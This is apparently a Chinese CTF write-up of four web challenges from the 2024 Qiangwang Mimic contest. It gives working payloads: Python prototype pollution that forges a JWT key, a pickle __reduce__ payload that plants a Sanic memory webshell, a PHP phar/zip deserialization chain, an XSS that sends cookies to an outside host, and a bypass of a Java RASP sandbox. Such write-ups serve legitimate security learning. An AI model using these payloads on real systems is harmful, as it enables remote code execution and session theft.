2024强网拟态 web

我们A1natas最后获得了第30 感觉没希望进线下了 尽力了

不过开心的是我ak了web方向的题目

9e5ae1a192991a0c5df520826251e6c5

ez_picker

/register存在原型链污染 可以污染任意的黑白名单

image-20241020194317388

这里在register的时候 进行了merge操作

写个简单的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import sanic
from sanic import text, Sanic, Request, response
from key import secret_key

app = Sanic("test")
users=[]
safe_modules = {
'math',
'datetime',
'json',
'collections'
}

safe_names = {
'sqrt', 'pow', 'sin', 'cos', 'tan',
'date', 'datetime', 'timedelta', 'timezone',
'loads', 'dumps',
'namedtuple', 'deque', 'Counter'
}
class User:
def __init__(self, username, password):
self.username = username
self.password = password

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and isinstance(v, dict):
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and isinstance(v, dict):
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

@app.route('/', methods=["GET", "POST"])
async def test(request: Request):
# 检查请求是否为有效的 JSON
if not request.json:
return response.json({"error": "Request body must be JSON"}, status=400)

username = request.json.get("username")
password = request.json.get("password")

if not username or not password:
return response.json({"error": "Missing username or password"}, status=400)
NewUser = User("username", "password")
merge(request.json, NewUser)
# 添加用户到 safe_names 中
print(safe_names)
users.append(NewUser)
if "builtins" in safe_modules and "eval" in safe_names:
print("win")


return text("ok")

if __name__ == '__main__':
app.run(host="0.0.0.0", port=1145)

成功完成污染 这里制空了safe_names

image-20241020194347545

那么我们就可以伪造jwt的key 伪造身份

1
2
3
4
5
6
7
8
9
10
{
"__class__" : {
"__init__" : {
"__globals__":{
"secret_key" :"key"
}
}
},

}

然后直接伪造就行

image-20241020194803689

成功伪造

image-20241020195212123

这里pickle处理的逻辑很好玩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route('/upload', methods=["GET", "POST"])
@token_required
async def upload(request):
if request.method == "GET":
return await file_('templates/upload.html')
if not request.files:
return text("No file provided", status=400)

file = request.files.get('file')
file_object = file[0] if isinstance(file, list) else file
try:
new_data = restricted_loads(file_object.body)
try:
my_object.update(new_data)
except:
return json({"status": "success", "message": "Pickle object loaded but not updated"})
with open(pickle_file, "wb") as f:
pickle.dump(my_object, f)

return json({"status": "success", "message": "Pickle object updated"})
except pickle.UnpicklingError:
return text("Dangerous pickle file", status=400)

定义了 加载类和方法的 这里设置了白名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
safe_modules = {
'math',
'datetime',
'json',
'collections',
}

safe_names = {
'sqrt', 'pow', 'sin', 'cos', 'tan',
'date', 'datetime', 'timedelta', 'timezone',
'loads', 'dumps',
'namedtuple', 'deque', 'Counter', 'defaultdict'
}


class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in safe_modules and name in safe_names:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()


CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])

自己构造一个生成的代码 这里要求从builtins 拿

直接

1
builtins.eval(__import__('os').system('cmd'))

就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import builtins
import pickle
import io

safe_modules = {
'math',
'datetime',
'json',
'collections'
}

safe_names = {
'sqrt', 'pow', 'sin', 'cos', 'tan',
'date', 'datetime', 'timedelta', 'timezone',
'loads', 'dumps',
'namedtuple', 'deque', 'Counter'
}
need_module={'builtins'}
need_name={'eval'}
class Exploit:
def __reduce__(self):
return (builtins.eval, ('calc',))

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
print(f"Attempting to load: module='{module}', name='{name}'")
safe_names.add(name)
safe_modules.add(module)
need_name.add(name)
need_module.add(module)
if module in need_module and name in need_name:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()


with open("1.bin",'wb') as f:
f.write(pickle.dumps(Exploit()))

# pickle.load(io.BytesIO(a))
# new_data = restricted_loads(a)
print(need_name)
print(need_module)

这里的黑名单 由于可以污染 所以就是随便玩

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
{
"__class__" : {
"__init__" : {
"__globals__":{
"safe_modules":["builtins"],
"safe_names" :["eval"],
"secret_key" :"key"
}
}
},

}

然后直接伪造直接打了 上传文件rce 这里打的是sanic内存马

1
2
3
4
class Exploit:
def __reduce__(self):
return (builtins.eval, ('app.add_route(lambda request: __import__("os").popen(request.args.get("cmd")).read(),"/shell", methods=["GET"])',))
# a=b'\x80\x04\x95;\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04eval\x94\x93\x94\x8c\x1f__import__("os").system("")\x94\x85\x94R\x94.'

得到flag

image-20241020200609735

Capoo

存在任意文件读取

image-20241020200628212

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class CapooObj {
public function __wakeup()
{
$action = $this->action;
$action = str_replace("\"", "", $action);
$action = str_replace("\'", "", $action);
$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
if(preg_match($banlist, $action)){
die("Not Allowed!");
}
system($this->action);
}
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
$file = $_POST['capoo'];

if (file_exists($file)) {
$data = file_get_contents($file);
$base64 = base64_encode($data);
} else if (substr($file, 0, strlen("http://")) === "http://") {
$data = file_get_contents($_POST['capoo'] . "/capoo.gif");
if (strpos($data, "PILER") !== false) {
die("Capoo piler not allowed!");
}
file_put_contents("capoo_img/capoo.gif", $data);
die("Download Capoo OK");
} else {
die('Capoo does not exist.');
}
} else {
die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Display Capoo</title>
</head>
<body>
<img style='display:block; width:100px;height:100px;' id='base64image'
src='data:image/gif;base64, <?php echo $base64;?>' />
</body>
</html>

得到源代码

可以构造phar包 然后打

注意到这里给PILER 过滤了 可以简单的zip绕过一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class CapooObj {
public $action;
// public function __wakeup()
// {
// $action = $this->action;
// $action = str_replace("\"", "", $action);
// $action = str_replace("\'", "", $action);
// $banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
// if(preg_match($banlist, $action)){
// die("Not Allowed!");
// }
// system($this->action);
// }
}



$paylaod = new CapooObj();
$paylaod->action = "find / > 2";
//
//$phar = new Phar('phar.phar');
//$phar -> stopBuffering();
/*$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//伪造为gif*/
//$phar -> addFromString('text.txt','test');
//$phar -> setMetadata($paylaod);//object是入口
//$phar -> stopBuffering();

$phar_file = serialize($paylaod);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();

上传打就行

image-20241020200714962

成功拿到 然后phar解析触发链子 得到目录

image-20241020200725171

读取到flag

image-20241020200736158

image-20241020200745380

Spreader

image-20241020200804426

第一眼 好厉害的过滤 第二眼 欸 image呢

1
<img src="invalid.jpg" onerror=document.location='http://url:port?cookie'+document.cookie />

image-20241020200904940

然后带着cookies上去就行了

这题看到别人的wp 还可以直接读取flag 不过fetch时间比较短 需要看运气

OnlineRunner

可以执行任意的java代码 但是要绕过rasp

gpt跑一份payload遍历和读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
java.lang.String directoryPath = "/home/ctf/sandbox"; 
java.io.File folder = new java.io.File(directoryPath);
if (folder.exists() && folder.isDirectory()) {
java.io.File[] files = folder.listFiles();
if (files != null) {
for (java.io.File file : files) { java.lang.System.out.println((file.isDirectory() ? "[DIR] " : "[FILE] ") + file.getName() + " " + permissions);
}
} else {
java.lang.System.out.println("该目录是空的!");
}
} else {
java.lang.System.out.println("目录不存在或不是有效的目录!");
}
}

image-20241020201101304

读取到agent.jar jadx干一下

image-20241020201130628

这个是一个alibaba.jvm sandbox 这个东西 网上文档里面 可以使用webui去关闭

先读取webui的端口 然后用代码去访问关闭

gpt代码跑一下

image-20241020201153991

弹shell

image-20241020201300047

image-20241020201308095

这题可以使用unsafe绕过jdk17限制 然后加载任意字节码 应该是可以关掉这个rasp的 不过没细搞 再说吧

后记

5f02cea61e7cf026004e12fdec3bfe27